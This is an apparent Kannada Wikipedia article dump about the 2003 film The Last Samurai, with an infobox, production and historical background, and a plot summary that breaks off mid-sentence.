ಸಮುರಾಯ್‌ 0 24383 1116595 1080898 2022-08-24T09:04:41Z Artanisen 61675 /* ಐತಿಹಾಸಿಕ ಹಿನ್ನೆಲೆ */ French Military Advisors Jules Brunet and Japanese Allies Boshin War 1868-1869.png wikitext text/x-wiki {{Dablink|This article is about the film; for [[Helen DeWitt]]'s novel, see [[The Last Samurai (novel)]]}} {{Infobox film | name = The Last Samurai | image = TLSPoster.jpg | caption = Promotional Poster by [[Olga Kaljakin]] | director = [[Edward Zwick]] | producer = [[Edward Zwick]]<br>[[Tom Cruise]]<br />Tom Engelman<br />[[Marshall Herskovitz]]<br />Scott Kroopf<br />[[Paula Wagner]]<br />'''Associate producer:'''<br />[[Michael Doven]] | executive producer = [[Ted Field]][[Charles Mulvehill]][[Richard Solomon]][[Vincent Ward]] writer = '''Story:'''<br />&nbsp;&nbsp;[[John Logan (writer)|John Logan]]<br />'''Screenplay:'''<br />&nbsp;&nbsp;[[John Logan (writer)|John Logan]] and <br />&nbsp;&nbsp;[[Edward Zwick]] &<br />&nbsp;&nbsp;[[Marshall Herskovitz]] | starring = [[Tom Cruise]]<br>[[Ken Watanabe (actor)|Ken Watanabe]]<br>[[Shin Koyamada]]<br>[[Tony Goldwyn]]<br>[[Timothy Spall]]<br>[[Billy Connolly]]<br>[[Hiroyuki Sanada]]<br>[[Koyuki|Koyuki Kato]]<br>[[Shun Sugata]] | music = [[Hans Zimmer]] | cinematography = [[John Toll]] | editing = Victor Du Bois<br />[[Steven Rosenblum]] | distributor = [[Warner Bros.]] | released = December 5, 2003 | runtime = 160 minutes | country = United States | language = [[ಆಂಗ್ಲ|English]] / [[Japanese language|Japanese]] | budget = US$ 140 million | gross = US$ 456 million<ref>http://boxofficemojo.com/movies/?id=lastsamurai.htm</ref> }} '''''ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್‌‌'' ''' ಎಂಬುದು ೨೦೦೩ರಲ್ಲಿ ಬಂದ ಅಮೆರಿಕಾದ ಮಹಾಕಾವ್ಯದಂಥ ನಾಟಕೀಯ ಚಲನಚಿತ್ರವಾಗಿದ್ದು, ಇದರ ನಿರ್ದೇಶನ ಮತ್ತು ಸಹ-ನಿರ್ಮಾಣ ಕಾರ್ಯವನ್ನು ಎಡ್ವರ್ಡ್‌ ಝ್ವಿಕ್‌‌ ಎಂಬಾತ ನಿರ್ವಹಿಸಿದ್ದ; ಅಷ್ಟೇ ಅಲ್ಲ, ಜಾನ್‌ ಲೊಗಾನ್‌‌ ಬರೆದ ಕಥೆಯೊಂದನ್ನು ಆಧರಿಸಿ ರಚಿಸಲಾದ ಚಿತ್ರಕಥೆಯಲ್ಲಿ ಈತ ಸಹ-ಬರಹಗಾರನ ಪಾತ್ರವನ್ನೂ ವಹಿಸಿದ್ದ. ವಿನ್ಸೆಂಟ್‌ ವಾರ್ಡ್‌ ಎಂಬ ಬರಹಗಾರ ಮತ್ತು ನಿರ್ದೇಶಕನಿಂದ ಬೆಳೆಸಲ್ಪಟ್ಟ ಯೋಜನೆಯೊಂದರಿಂದ ಈ ಚಲನಚಿತ್ರವು ಪ್ರೇರಣೆಯನ್ನು ಪಡೆಯಿತು. ಈ ಚಲನಚಿತ್ರಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ವಾರ್ಡ್‌ ಕಾರ್ಯಕಾರಿ ನಿರ್ಮಾಪಕನ ಹೊಣೆಹೊತ್ತುಕೊಂಡ- ಸರಿಸುಮಾರು ನಾಲ್ಕು ವರ್ಷಗಳವರೆಗೆ ಇದನ್ನು ಬೆಳೆಸುವುದರ ಕುರಿತೇ ತನ್ನನ್ನು ತೊಡಗಿಸಿಕೊಂಡ ಆತ, ಹಲವಾರು ನಿರ್ದೇಶಕರನ್ನು (ಕೊಪ್ಪೊಲಾ, ವೇಯ್ರ್‌) ಸಂಪರ್ಕಿಸಿದ ನಂತರ, ಎಡ್ವರ್ಡ್‌ ಝ್ವಿಕ್‌‌ನಲ್ಲಿ ಆಸಕ್ತಿ ವಹಿಸಿದ. ಝ್ವಿಕ್‌ನ ನೇತೃತ್ವದಲ್ಲಿ ಚಲನಚಿತ್ರದ ಕಾರ್ಯವು ಮುಂದಕ್ಕೆ ಸಾಗಿತು ಮತ್ತು ವಾರ್ಡ್‌ನ ಜನ್ಮಸ್ಥಳವಾದ [[ನ್ಯೂ ಜೀಲ್ಯಾಂಡ್|ನ್ಯೂಜಿಲೆಂಡ್‌‌‌]]ನಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲ್ಪಟ್ಟಿತು. ಈ ಚಲನಚಿತ್ರದಲ್ಲಿ ಬರುವ ಅಮೆರಿಕಾದ ಯೋಧ ನಾಥನ್‌ ಆಲ್‌ಗ್ರೆನ್‌‌ ಪಾತ್ರದಲ್ಲಿ [[ಟಾಮ್‌ ಕ್ರೂಸ್‌]] (ಈತ ಚಿತ್ರದ ಸಹ-ನಿರ್ಮಾಪಕ ಕೂಡಾ) ನಟಿಸಿದ್ದಾನೆ; ನಾಥನ್‌ ಆಲ್‌ಗ್ರೆನ್‌ನ ವೈಯಕ್ತಿಕ ಮತ್ತು ಭಾವನಾತ್ಮಕ ತಿಕ್ಕಾಟಗಳು ಸಮುರಾಯ್‌‌ ಯೋಧರೊಂದಿಗೆ ಆತ ಸಂಪರ್ಕ ಹೊಂದಲು ಕಾರಣವಾಗುತ್ತವೆ ಮತ್ತು ೧೮೭೬ ಹಾಗೂ ೧೮೭೭ರಲ್ಲಿ ಜಪಾನ್‌ ಸಾಮ್ರಾಜ್ಯದಲ್ಲಿನ ಮೆಯಿಜಿ ಪುನಃ-ಪ್ರತಿಷ್ಠಾಪನೆಯ ತತ್ಪರಿಣಾಮವಾಗಿ ಇದು ಸಂಭವಿಸುತ್ತದೆ. ಚಿತ್ರದ ಇತರ ಕಲಾವಿದರಲ್ಲಿ ಕೆನ್‌ ವತಾನಬೆ, ಟೋನಿ ಗೋಲ್ಡ್‌ವಿನ್‌‌, ಹಿರೋಯುಕಿ ಸನಾಡಾ, ತಿಮೋಥಿ ಸ್ಪಾಲ್‌, ಶಿನ್‌ ಕೊಯಮಡಾ, ಮತ್ತು ಬಿಲ್ಲಿ ಕೊನೊಲ್ಲಿ ಮೊದಲಾದವರು ಸೇರಿದ್ದಾರೆ. ಸೈಗೋ ಟಕಾಮೊರಿ ನೇತೃತ್ವದಲ್ಲಿ ೧೮೭೬ರಲ್ಲಿ ನಡೆದ ಸತ್ಸುಮಾ ದಂಗೆಯಿಂದ ಚಲನಚಿತ್ರದ ಕಥಾವಸ್ತುವು ಪ್ರೇರೇಪಿಸಲ್ಪಟ್ಟಿದೆ. ಅಷ್ಟೇ ಅಲ್ಲ, ಹಿಂದೆ ನಡೆದ ಬೊಷಿನ್‌ ಯುದ್ಧದಲ್ಲಿ ಎನೊಮೊಟೊ ಟಕೆಯಾಕಿ ಜೊತೆಜೊತೆಗೆ ಕಾದಾಡಿದ ಜೂಲ್ಸ್‌ ಬ್ರೂನೆಟ್ ಎಂಬ ಹೆಸರಿನ ಓರ್ವ ಫ್ರೆಂಚ್‌ ಸೇನಾ ಕ್ಯಾಪ್ಟನ್‌ನ ಕಥೆಯನ್ನೂ ಈ ಚಲನಚಿತ್ರದ ಕಥಾವಸ್ತುವು ಆಧರಿಸಿದೆ. ಜಪಾನಿಯರ ಪಾಶ್ಚಾತ್ಯೀಕರಣದಲ್ಲಿ [[ಬ್ರಿಟೀಷ್ ಸಾಮ್ರಾಜ್ಯ|ಬ್ರಿಟಿಷ್‌ ಸಾಮ್ರಾಜ್ಯ]], [[ನೆದರ್‍ಲ್ಯಾಂಡ್ಸ್|ನೆದರ್ಲೆಂಡ್ಸ್‌]] ಮತ್ತು ಫ್ರಾನ್ಸ್‌‌‌ನ ಐತಿಹಾಸಿಕ ಪಾತ್ರಗಳಿಗೆ ಚಲನಚಿತ್ರದಲ್ಲಿ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಬಹುಪಾಲು ಕಾರಣವಾಗಿದೆ. ಕಥಾವಸ್ತುವಿನ ಉದ್ದೇಶಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತೆ, ಚಲನಚಿತ್ರ ಮತ್ತು ನಿಜವಾದ ಕಥೆಯಲ್ಲಿ ಈ ವಿವರಗಳು, ಪಾತ್ರಗಳು ಸರಳೀಕರಿಸಲ್ಪಟ್ಟಿವೆ; ಇತಿಹಾಸವನ್ನು ಪುನರಾವರ್ತಿಸಲು ಚಲನಚಿತ್ರವು ಬಯಸದಿರುವುದು ಇದರ ಹಿಂದಿನ ಉದ್ದೇಶ. ಬಿಡುಗಡೆಯಾದ ನಂತರ ''ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್‌‌'' ಚಿತ್ರವು ಎಲ್ಲೆಡೆಯಲ್ಲಿಯೂ ಉತ್ತಮವಾಗಿ ಸ್ವೀಕರಿಸಲ್ಪಟ್ಟಿತು ಹಾಗೂ ವಿಶ್ವದೆಲ್ಲೆಡೆ ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಒಟ್ಟು ೪೫೬ ದಶಲಕ್ಷ $ನಷ್ಟು ಹಣದ ಸಂಗ್ರಹಣೆಯನ್ನು ದಾಖಲಿಸಿತು. ಇದರ ಜೊತೆಗೆ, ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿಗಳು, ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌‌ ಪ್ರಶಸ್ತಿಗಳು ಮತ್ತು ನ್ಯಾಷನಲ್‌ ಬೋರ್ಡ್‌ ಆಫ್‌ ರಿವ್ಯೂ ಪ್ರಶಸ್ತಿಗಳೂ ಸೇರಿದಂತೆ, ಹಲವಾರು ಪ್ರಶಸ್ತಿಗಳಿಗೆ ಇದು ನಾಮನಿರ್ದೇಶನಗೊಂಡಿತು. ==ಕಥಾವಸ್ತು== ಕ್ಯಾಪ್ಟನ್‌ ನಾಥನ್‌ ಆಲ್‌ಗ್ರೆನ್‌‌ ([[ಟಾಮ್‌ ಕ್ರೂಸ್‌]]) ಪಾತ್ರವನ್ನು ಪರಿಚಯಿಸುವುದರೊಂದಿಗೆ ೧೮೭೬ರ ಬೇಸಿಗೆಯಲ್ಲಿ ಚಲನಚಿತ್ರವು ಶುರುವಾಗುತ್ತದೆ; ನಾಥನ್‌ ಆಲ್‌ಗ್ರೆನ್‌‌ ಓರ್ವ ಭ್ರಮೆಗಳೆಯಲ್ಪಟ್ಟ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳ ಸೇನೆಯ ಮಾಜಿ-ಕ್ಯಾಪ್ಟನ್‌ ಮತ್ತು ಓರ್ವ ಮದ್ಯವ್ಯಸನಿ ಆಗಿದ್ದು, ಭಾರತದ ಯುದ್ಧಗಳ ಅವಧಿಯಲ್ಲಿ ದೇಶೀಯ ಅಮೆರಿಕನ್‌‌ ಜನಗಳ ವಿರುದ್ಧದ ತನ್ನ ಹಿಂದಿನ ನಿಯಮೋಲ್ಲಂಘನೆಗಳಿಂದ ಮಾನಸಿಕ ಆಘಾತಕ್ಕೀಡಾಗಿರುತ್ತಾನೆ. ತನ್ನ ಸೇನಾ-ಸೇವೆಯ ನಂತರದ ವರ್ಷಗಳಲ್ಲಿ, ಬಂದೂಕು ಪ್ರದರ್ಶನದ ಪ್ರೇಕ್ಷಕರಿಗೆ ಯುದ್ಧದ ಕಥೆಗಳನ್ನು ನಿರೂಪಿಸುವ ಮೂಲಕ ಆಲ್‌ಗ್ರೆನ್‌ ತನ್ನ ಜೀವನೋಪಾಯವನ್ನು ಕಂಡುಕೊಂಡಿರುತ್ತಾನೆ; ಈ ಅನುಭವವು ಅವನ ಮಾನಸಿಕ ಸ್ಥಿತಿಯನ್ನು ಮತ್ತಷ್ಟು ಹದಗೆಡಿಸುತ್ತದೆ. ಆಲ್‌ಗ್ರೆನ್‌‌ನ ಎಡೆಬಿಡದ ಪಾನೋನ್ಮತ್ತತೆಯಿಂದಾಗಿ ತಲೆಚಿಟ್ಟುಹಿಡಿಸಿಕೊಳ್ಳುವ ಅವನ ಉದ್ಯೋಗದಾತರು ಅವನನ್ನು ಕೆಲಸದಿಂದ ತೆಗೆಯುತ್ತಾರೆ; ತನ್ನ ಹಿಂದಿನ ಆದೇಶಾಧಿಕಾರಿಯಾದ ಲೆಫ್ಟಿನೆಂಟ್‌ ಕರ್ನಲ್‌‌ ಬ್ಯಾಗ್ಲೆ (ಟೋನಿ ಗೋಲ್ಡ್‌ವಿನ್‌‌) ಎಂಬಾತನಿಂದ ಬರುವ ಆಹ್ವಾನವನ್ನು ಪುರಸ್ಕರಿಸುವಂತೆ ಈ ಉಚ್ಚಾಟನೆಯು ಆಲ್‌ಗ್ರೆನ್‌‌ ಮೇಲೆ ಒತ್ತಡ ಹೇರುತ್ತದೆ. ಆದರೆ ಘೋರಸ್ವಪ್ನದಂತೆ ಎಡೆಬಿಡದೆ ಕಾಡುವ ಈ ಅಧಿಕಾರಿಯ ಭಯದಿಂದಾಗಿ, ಅವನನ್ನು ಆಲ್‌ಗ್ರೆನ್‌‌ ಆಳವಾಗಿ ದ್ವೇಷಿಸುತ್ತಿರುತ್ತಾನೆ ಮತ್ತು ದೂಷಿಸುತ್ತಿರುತ್ತಾನೆ. ಶ್ರೀಮಾನ್‌ ಒಮುರಾ (ಮಸಾಟೊ ಹರಾಡಾ) ಎಂಬ ಓರ್ವ ಜಪಾನಿ ವ್ಯವಹಾರಸ್ಥನ ಪರವಾಗಿ, ಒಂದು ಆಹ್ವಾನದೊಂದಿಗೆ ಬ್ಯಾಗ್ಲೆಯು ಅವನನ್ನು ಸಂಪರ್ಕಿಸುತ್ತಾನೆ; ಪಾಶ್ಚಾತ್ಯ-ಶೈಲಿಯ ಹೊಸ ಚಕ್ರಾಧಿಪತ್ಯದ ಜಪಾನಿಯರ ಸೇನೆಗೆ ತರಬೇತಿ ನೀಡುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಮೆಯಿಜಿ ಪುನಃ-ಪ್ರತಿಷ್ಠಾಪನೆಯ ಹೊಸ ಸರ್ಕಾರಕ್ಕೆ ಸಹಾಯಹಸ್ತ ನೀಡಬೇಕು ಎನ್ನುವುದೇ ಈ ಆಹ್ವಾನವಾಗಿರುತ್ತದೆ. ಆಲ್‌ಗ್ರೆನ್‌‌ನ ಹಳೆಯ ಸೇನಾ ಸಹೋದ್ಯೋಗಿ ಸಾರ್ಜೆಂಟ್‌ ಝೆಬ್‌ ಗ್ಯಾಂಟ್‌ (ಬಿಲ್ಲಿ ಕೊನೊಲ್ಲಿ) ಮತ್ತು ಸಮುರಾಯ್‌‌ನಲ್ಲಿ ಒಂದು ಆಳವಾದ ಆಸಕ್ತಿ ಹೊಂದಿದ್ದ ಓರ್ವ ನಿಂದಾಶೀಲ ಬ್ರಿಟಿಷ್‌ ಭಾಷಾಂತರಕಾರನಾದ ಸೈಮನ್‌ ಗ್ರಹಾಂ (ತಿಮೋಥಿ ಸ್ಪಾಲ್‌) ಎಂಬಿಬ್ಬರು ಈ ನಿಟ್ಟಿನಲ್ಲಿ ಅವರಿಗೆ ನೆರವಾಗುತ್ತಾರೆ. ಬ್ಯಾಗ್ಲೆಯ ಆದೇಶದ ಅನುಸಾರ, ಒತ್ತಾಯದಿಂದ ದಾಖಲಿಸಲ್ಪಟ್ಟ ರೈತರ ಒಂದು ಸೇನೆಗೆ ಒಂದು ಬಂದೂಕುಪಡೆಯನ್ನು ನಿರ್ವಹಿಸುವುದರ ವಿಷಯದಲ್ಲಿ ಆಲ್‌ಗ್ರೆನ್‌‌ ತರಬೇತು ನೀಡುತ್ತಾನೆ. ಅವರಿಗೆ ಸಮರ್ಪಕವಾಗಿ ತರಬೇತಿ ನೀಡುವುದಕ್ಕೆ ಮುಂಚಿತವಾಗಿ, ಸಮುರಾಯ್‌‌ ಕಾಟ್ಸುಮೊಟೊ (ಕೆನ್‌ ವತಾನಬೆ) ನೇತೃತ್ವದ ಸಮುರಾಯ್‌‌ ಬಂಡಾಯಗಾರರ ಒಂದು ಗುಂಪಿನ ವಿರುದ್ಧದ ಕದನದಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳಲು ಅವರನ್ನು ಕರೆದೊಯ್ಯುವಂತೆ ಆಲ್‌ಗ್ರೆನ್‌‌ಗೆ ಆದೇಶಿಸಲಾಗುತ್ತದೆ; ಒಂದು ಹೊಸ ರೈಲುಮಾರ್ಗದಲ್ಲಿ ಒಮುರಾ ಮಾಡಿರುವ ಹೂಡಿಕೆಯನ್ನು ರಕ್ಷಿಸುವ ಸಂಬಂಧದ ಹೋರಾಟ ಇದಾಗಿರುತ್ತದೆ. ಕದನದ ಅವಧಿಯಲ್ಲಿ, ಒತ್ತಾಯದಿಂದ ದಾಖಲಿಸಲ್ಪಟ್ಟ ರೈತಸೈನಿಕರು ತಮ್ಮ ಆದೇಶಾಧಿಕಾರಿಗಳನ್ನು ಉಪೇಕ್ಷಿಸುತ್ತಾರೆ ಮತ್ತು ತೀರಾ ಮುಂಚಿತವಾಗಿ ಗುಂಡಿನದಾಳಿಯನ್ನು ಶುರುಮಾಡುತ್ತಾರೆ; ಹೀಗಾಗಿ ಅವರಿಗೆ ಮದ್ದುಗುಂಡುಗಳ ಕೊರತೆ ಕಂಡುಬರುತ್ತದೆ. ಸಂಪೂರ್ಣವಾಗಿ-ಸಜ್ಜುಗೊಳ್ಳದ ಸೇನೆಯನ್ನು ಸಮುರಾಯ್‌‌ಗಳು ಗುಂಪುಗುಂಪಾಗಿ ಸುತ್ತುವರಿದು ಕೆಲವೇ ಕ್ಷಣಗಳಲ್ಲಿ ಅವರನ್ನು ಹೊಡೆದೋಡಿಸಿ, ಗ್ಯಾಂಟ್‌ನನ್ನು ಸಾಯಿಸುತ್ತಾರೆ ಮತ್ತು ಯುದ್ಧಭೂಮಿಯಿಂದ ಹಿಂದೆಗೆದುಕೊಳ್ಳುವಂತೆ ಬ್ಯಾಗ್ಲೆಯ ಮೇಲೆ ಒತ್ತಡ ಹೇರುತ್ತಾರೆ. ಓರ್ವ ಅಶ್ವಸೈನ್ಯದ ಸಿಪಾಯಿಯಾಗಿ ತಾನು ಹೊಂದಿದ್ದ ಅನುಭವವನ್ನು ಬಳಸಿಕೊಂಡು, ಬಾಗುಕತ್ತಿ ಮತ್ತು ರಿವಾಲ್ವರ್‌ನ ನೆರವಿನೊಂದಿಗೆ ಆಲ್‌ಗ್ರೆನ್‌ ಹಲವಾರು ಸಮುರಾಯ್‌ಗಳನ್ನು ಸಾಯಿಸುತ್ತಾನೆ; ಆದರೆ, ಕುದುರೆ-ಸವಾರಿ ಮಾಡಿಕೊಂಡು ಬರುತ್ತಿರುವ ಓರ್ವ ಸಮುರಾಯ್‌ ಅವನೆಡೆಗೆ ದಾಳಿಮಾಡಲು ಮುನ್ನುಗ್ಗುವಾಗ, ಮತ್ತು ಅದೇ ವೇಳೆಗೆ ಓರ್ವ ಕಾಲಾಳು ಭರ್ಜಿಯೊಂದಿಗೆ ಮುನ್ನುಗ್ಗುತ್ತಾ ಅವನ ಕುದುರೆಯನ್ನು ಬೀಳಿಸಿದಾಗ ಚಂಚಲಗೊಂಡ ಆಲ್‌ಗ್ರೆನ್‌ ತನ್ನ ಕುದುರೆಯಿಂದ ಕೆಳಗುರುಳುತ್ತಾನೆ. ಆದರೂ ಸಹ ಸೋಲೊಪ್ಪಿಕೊಳ್ಳಲು ನಿರಾಕರಿಸುವ ಅವನು, ಒಂದು ಬಿಳಿಯ ಹುಲಿಯನ್ನು ಚಿತ್ರಿಸಿರುವ ಒಂದು ಧ್ವಜದೊಂದಿಗೆ ಅಲಂಕರಿಸಲ್ಪಟ್ಟ ಒಂದು ಮುರಿದ ಭರ್ಜಿಯನ್ನು ಬಳಸಿಕೊಂಡೇ ಹಲವಾರು ಸಮುರಾಯ್‌‌ಗಳನ್ನು ಹಿಮ್ಮೆಟ್ಟಿಸುವಲ್ಲಿ ಯಶಸ್ವಿಯಾಗುತ್ತಾನೆ. ಭರ್ಜಿಯ ಮೇಲಿನ ಧ್ವಜವು ಕಾಟ್ಸುಮೊಟೊಗೆ ತಾನು ಧ್ಯಾನವನ್ನು ಮಾಡುವ ಸಮಯದಲ್ಲಿ ಅನುಭವಕ್ಕೆ ಬಂದಿದ್ದ ಒಂದು ಅಂತರ್ದೃಷ್ಟಿಯನ್ನು ನೆನಪಿಸುತ್ತದೆ; ಇದು ಒಂದು ಬಿಳಿಯ ಹುಲಿಯು ತನ್ನ ದಾಳಿಕೋರರನ್ನು ಎದುರಿಸುತ್ತಾ ಹೋರಾಡುತ್ತಿರುವಂತೆ ಕಂಡ ದೃಷ್ಟಿಯಾಗಿರುತ್ತದೆ. ಕೆಲವೇ ಸಮಯದ ಹಿಂದೆ ಗ್ಯಾಂಟ್‌ಗೆ ಒಂದು ಮಾರಕ ಹೊಡೆತವನ್ನು ನೀಡಿದ್ದ ಕೆಂಪು-ಮುಖವಾಡದ ಸಮುರಾಯ್‌ ಮತ್ತು ಕಾಟ್ಸುಮೊಟೊನ ಭಾವನಾದ ಹಿರೊಟಾರೊ, ಕೆಳಗೆಬಿದ್ದ ಆಲ್‌ಗ್ರೆನ್‌‌ಗೆ ಒಂದು ಮಾರಕ ಹೊಡೆತವನ್ನು ನೀಡಲು ಸಜ್ಜುಗೊಳ್ಳುತ್ತಾನೆ; ಆದಾಗ್ಯೂ, ತಲೆಬಾಗಲು ಆಲ್‌ಗ್ರೆನ್‌‌ ತಿರಸ್ಕರಿಸುತ್ತಾನೆ ಮತ್ತು ಒಂದು ಭರ್ಜಿಯನ್ನು ಎತ್ತಿಕೊಂಡು, ಕುತ್ತಿಗೆಯಿಂದ ಹಾದುಹೋಗುವಂತೆ ಹಿರೊಟಾರೊಗೆ ಮಾರಕವಾಗಿ ಇರಿಯುತ್ತಾನೆ. ತಾನು ನೋಡಿದ್ದು ಒಂದು ಶಕುನವಾಗಿರಬೇಕು ಎಂದು ಭಾವಿಸುವ ಕಾಟ್ಸುಮೊಟೊ, ಗಾಯಗೊಂಡ ಆಲ್‌ಗ್ರೆನ್‌ನನ್ನು ತನ್ನ ಯೋಧರು ಮುಗಿಸಿಬಿಡದಂತೆ ಅವರನ್ನು ತಡೆದು, ಅವನನ್ನು ಸೆರೆಯಾಳಾಗಿ ಒಯ್ಯುತ್ತಾನೆ. ಆಲ್‌ಗ್ರೆನ್‌‌ನನ್ನು ಒಂದು ಏಕಾಂತವಾದ ಹಳ್ಳಿಗೆ ಕರೆದೊಯ್ಯಲಾಗುತ್ತದೆ; ಅಲ್ಲಿದ್ದ ಹಿರೊಟಾರೊನ ಕುಟುಂಬಕ್ಕೆ ಸೇರಿದ್ದ ಮನೆಯೊಂದರಲ್ಲಿ ಅವನು ಕ್ರಮೇಣವಾಗಿ ಚೇತರಿಸಿಕೊಳ್ಳುತ್ತಾನೆ; ಅಲ್ಲಿ ಹಿರೊಟಾರೊನ ವಿಧವೆ ಟಾಕಾ, ಅವಳ ಇಬ್ಬರು ಗಂಡುಮಕ್ಕಳು, ಮತ್ತು ಕಾಟ್ಸುಮೊಟೊನ ಮಗನಾದ ನೊಬುಟಾಡ (ಶಿನ್‌ ಕೊಯಮಡಾ) ಒಟ್ಟಿಗೇ ಇರುತ್ತಾರೆ. ಕಾಲಾನಂತರದಲ್ಲಿ, ಆಲ್‌ಗ್ರೆನ್‌‌ ತನ್ನ ಕುಡಿತದ ಚಟವನ್ನು ಜಯಿಸುತ್ತಾನೆ ಮತ್ತು ಸಮುರಾಯ್‌ಗಳ ಜೀವನಕ್ರಮವಾದ ಬುಷಿಡೊವನ್ನು ಅಭ್ಯಾಸ ಮಾಡುವ ಮೂಲಕ ತನ್ನ ಮನಸ್ಸನ್ನು ತೀಕ್ಷ್ಣಗೊಳಿಸಿಕೊಳ್ಳುತ್ತಾನೆ. ಕಾಟ್ಸುಮೊಟೊ ಮತ್ತು ತನ್ನ ಜನರ ನಡುವೆ ತಾನು ಇದ್ದಾಗ ಕಂಡುಕೊಂಡಿದ್ದಂಥ ಶಾಂತಿಯನ್ನು ತಾನು ಸಂಪೂರ್ಣವಾಗಿ ಎಂದಿಗೂ ಅನುಭವಿಸಲಿಲ್ಲ ಎಂಬುದಾಗಿ ಅವನು ತನ್ನ ದಿನಚರಿಯಲ್ಲಿ ಬರೆದುಕೊಳ್ಳುತ್ತಾನೆ. ಹಿರೊಟಾರೊ ಎಡೆಗಿನ ದೀರ್ಘಕಾಲದ ನಿಷ್ಠೆಯ ಹೊರತಾಗಿಯೂ, ಆಲ್‌ಗ್ರೆನ್‌ಗೋಸ್ಕರ ಟಾಕಾ ರಮ್ಯ ಭಾವನೆಗಳನ್ನು ಬೆಳೆಸಿಕೊಳ್ಳುತ್ತಾಳೆ; ಅದರಲ್ಲೂ ನಿರ್ದಿಷ್ಟವಾಗಿ ತನ್ನ ಮಕ್ಕಳೆಡೆಗೆ ಅವನಲ್ಲಿ ಚಿಗುರುತ್ತಿರುವ ಪಿತೃಸಹಜವಾದ ಬಾಂಧವ್ಯವು ಅವಳ ಗಮನಕ್ಕೆ ಬಂದಾಗ ಅವಳಲ್ಲಿ ಈ ಭಾವನೆ ಬೆಳೆಯುತ್ತದೆ. ನಿಪುಣನಾದ ಕತ್ತಿವರಿಸೆಯ ಗುರುವಾದ ಉಜಿಯೊ (ಹಿರೋಯುಕಿ ಸನಾಡಾ) ಮಾರ್ಗದರ್ಶನದ ಅಡಿಯಲ್ಲಿ ಆಲ್‌ಗ್ರೆನ್‌‌ ಕತ್ತಿವರಿಸೆಯನ್ನು ಅಧ್ಯಯನ ಮಾಡುತ್ತಾನೆ ಮತ್ತು ಸ್ಥಳೀಯ ನಿವಾಸಿಗಳೊಂದಿಗೆ ಸಂಭಾಷಿಸುವ ಮೂಲಕ ಜಪಾನಿ ಭಾಷೆಯಲ್ಲಿ ನಿರರ್ಗಳತೆಯನ್ನು ಗಳಿಸುತ್ತಾನೆ; ಮತ್ತು ಹಾಗೆ ಮಾಡುವ ಮೂಲಕ ಆತ ಅವರ ಗೌರವವನ್ನು ಸಂಪಾದಿಸುತ್ತಾನೆ. ಒಂದು ರಾತ್ರಿ, ಜನರು ಒಂದು ಹಾಸ್ಯನಾಟಕವನ್ನು ವೀಕ್ಷಿಸುತ್ತಿದ್ದಾಗ, ನಿಂಜಾ ಕೊಲೆಪಾತಕಿಗಳ ಗುಂಪೊಂದು ಹಳ್ಳಿಯ ಮೇಲೆ ದಾಳಿಮಾಡುತ್ತದೆ. ಕೊಲೆಪಾತಕಿಗಳು ಕಾಟ್ಸುಮೊಟೊನನ್ನು ಗುರಿಯಾಗಿಟ್ಟುಕೊಂಡು ಅಡ್ಡಬಿಲ್ಲು ಬಾಣಗಳು ಮತ್ತು ಷುರಿಕೆನ್‌‌‌ಗಳಿಂದ ದಾಳಿಮಾಡಿದಾಗ, ಕಾಟ್ಸುಮೊಟೊನ ಜೀವವನ್ನು ಉಳಿಸುವ ಮೂಲಕ ಸಮುರಾಯ್‌‌ಗಳ ಗೌರವ ಮತ್ತು ಹೊಗಳಿಕೆಯನ್ನು ಆಲ್‌ಗ್ರೆನ್‌ ಪಡೆಯುತ್ತಾನೆ; ಈ ದಾಳಿಯಿಂದ ಕಾಟ್ಸುಮೊಟೊನ ಪಕ್ಕದಲ್ಲಿದ್ದ ನಟ ಸಾಯುತ್ತಾನೆ. ನಿಂಜಾಗಳನ್ನು ಸೋಲಿಸುವಲ್ಲಿ ಸಮುರಾಯ್‌ಗಳು ಯಶಸ್ಸು ಪಡೆಯುತ್ತಾರಾದರೂ, ಅವರ ಕಡೆಯೂ ಹಲವು ನಷ್ಟಗಳಾಗುತ್ತವೆ. ಕಾಟ್ಸುಮೊಟೊ ಇದನ್ನು ದೃಢೀಕರಿಸದಿದ್ದರೂ ಸಹ, ಸದರಿ ದಾಳಿಯು ಒಮುರಾನ ಆದೇಶದ ಅನುಸಾರವಾಗಿಯೇ ನಡೆದಿದೆ ಎಂದು ಆಲ್‌ಗ್ರೆನ್‌‌ ಊಹಿಸುತ್ತಾನೆ. ವಸಂತಕಾಲದಲ್ಲಿ, ಆಲ್‌ಗ್ರೆನ್‌‌ನನ್ನು ಮರಳಿ ಟೋಕಿಯೊಗೆ ಕರೆದೊಯ್ಯಲಾಯಿತು. ಅಲ್ಲಿ ಸೇನೆಯು ಬ್ಯಾಗ್ಲೆಯ ನಿಯಂತ್ರಣದಡಿಯಲ್ಲಿ ಈಗ ಸುಸಂಘಟಿತವಾಗಿದೆ ಮತ್ತು ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳಿಂದ ಬಂದಿರುವ ಹಾವಿಟ್ಸರ್‌‌ ತುಪಾಕಿಗಳು ಮತ್ತು ಗೊಂಚಲುಕೋವಿ ಫಿರಂಗಿಗಳಿಂದ ಸಜ್ಜುಗೊಂಡಿದೆ ಎಂಬುದು ಅವನಿಗೆ ತಿಳಿದುಬರುತ್ತದೆ. ಒಂದು ವೇಳೆ ಸಮುರಾಯ್‌‌ ದಂಗೆಯನ್ನು ದಮನಮಾಡಲು ಆಲ್‌ಗ್ರೆನ್‌‌ ಸಮ್ಮತಿಸುವುದಾದರೆ, ಅವನನ್ನು ಸೇನೆಯ ಅಧಿಪತಿಯನ್ನಾಗಿಸುವ ಪ್ರಸ್ತಾವವನ್ನು ಒಮುರಾ ಅವನ ಮುಂದಿಡುತ್ತಾನೆ; ಆದರೆ ಆಲ್‌ಗ್ರೆನ್‌‌ ಅದನ್ನು 